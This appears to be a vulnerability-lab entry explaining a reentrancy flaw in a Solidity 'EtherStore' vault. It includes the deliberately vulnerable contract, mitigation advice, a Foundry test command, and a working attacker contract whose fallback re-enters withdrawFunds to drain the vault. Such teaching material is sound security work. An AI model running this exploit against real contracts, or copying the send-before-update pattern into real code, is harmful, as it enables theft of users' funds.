Name: Reentrancy Vulnerability

Description: The EtherStore Reentrancy Vulnerability is a flaw in the smart contract design that allows an attacker to exploit reentrancy and withdraw more funds than they are entitled to from the EtherStore contract. The vulnerability arises due to the withdrawFunds function in the EtherStore contract, where the Ether is transferred to the attacker's address before updating their balance. This allows the attacker's contract to make a reentrant call back to the withdrawFunds function before the balance update,leading to multiple withdrawals and potentially draining all the Ether from the EtherStore contract.

Scenario: EtherStore is a simple vault, it can manage everyone's ethers. But it's vulnerable, can you steal all the ethers ?

Mitigation: Follow check-effect-interaction and use OpenZeppelin Reentrancy Guard.

REF:

https://slowmist.medium.com/introduction-to-smart-contract-vulnerabilities-reentrancy-attack-2893ec8390a

https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/

EtherStore Contract:

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds(uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        (bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
        require(send, "send failed");

        // check if after send still enough to avoid underflow
        if (balances[msg.sender] >= _weiToWithdraw) {
            balances[msg.sender] -= _weiToWithdraw;
        }
    }
}

How to Test:

forge test --contracts src/test/Reentrancy.sol-vvvv

// Function to test the EtherStore for reentrancy attack vulnerability
function testReentrancy() public {
    // Execute the Attack function of the attack contract
    attack.Attack();
}

// Contract for the attack on EtherStore
contract EtherStoreAttack is Test {
    // The EtherStore contract to be attacked
    EtherStore store;

    // Constructor function to initialize the EtherStore contract
    constructor(address _store) {
        store = EtherStore(_store);
    }

    // Function to perform the attack
    function Attack() public {
        // Log the balance of the EtherStore contract
        console.log("EtherStore balance", address(store).balance);

        // Deposit 1 ether to the EtherStore contract
        store.deposit{value: 1 ether}();

        // Log the new balance of the EtherStore contract
        console.log(
            "Deposited 1 Ether, EtherStore balance",
            address(store).balance
        );
        // Withdraw 1 ether from the EtherStore contract, this is the point of exploit
        store.withdrawFunds(1 ether); 

        // Log the balance of the attacking contract
        console.log("Attack contract balance", address(this).balance);
        // Log the balance of the EtherStore contract after withdrawal
        console.log("EtherStore balance", address(store).balance);
    }

    // Fallback function to exploit reentrancy vulnerability
    receive() external payable {
        // Log the balance of the attacking contract
        console.log("Attack contract balance", address(this).balance);
        // Log the balance of the EtherStore contract
        console.log("EtherStore balance", address(store).balance);
        // If the balance of the EtherStore contract is at least 1 ether
        if (address(store).balance >= 1 ether) {
            // Withdraw 1 ether, this is the point of exploit in the fallback function
            store.withdrawFunds(1 ether); 
        }
    }
}

Red box: exploited successful, drained out the EtherStore.

Untitled